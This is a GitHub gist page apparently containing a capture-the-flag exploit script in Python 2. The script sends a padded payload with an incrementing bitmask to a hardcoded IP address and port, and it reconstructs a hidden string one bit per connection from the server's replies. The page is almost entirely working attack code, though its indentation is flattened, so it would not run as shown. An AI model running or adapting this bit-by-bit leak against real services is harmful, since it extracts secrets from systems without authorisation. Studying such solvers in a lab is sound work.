Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
#!/usr/bin/python
import socket
import time
f = open("examples/fuck.dog")
data = f.read()
f.close()
data += " " * (2048 - len(data))
def makeData(i):
d = data.replace("%d",str(i))
return d + (" " * (2048 - len(d)))
HOST = "149.28.38.154"
PORT = 6808
s = None
x = ""
for l in range(1,36):
thisChar = ""
for i in range(0,8):
fuck = False
while fuck == False:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(makeData( (1 << (i + l * 8 ) ) ))
thisChar += s.recv(1)
print thisChar
s.close()
fuck = True
except:
print "SLEEPING"
time.sleep(5)
fuck = False
x += chr(int(thisChar[::-1],2))
print x[::-1]
time.sleep(5)
print x[::-1]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment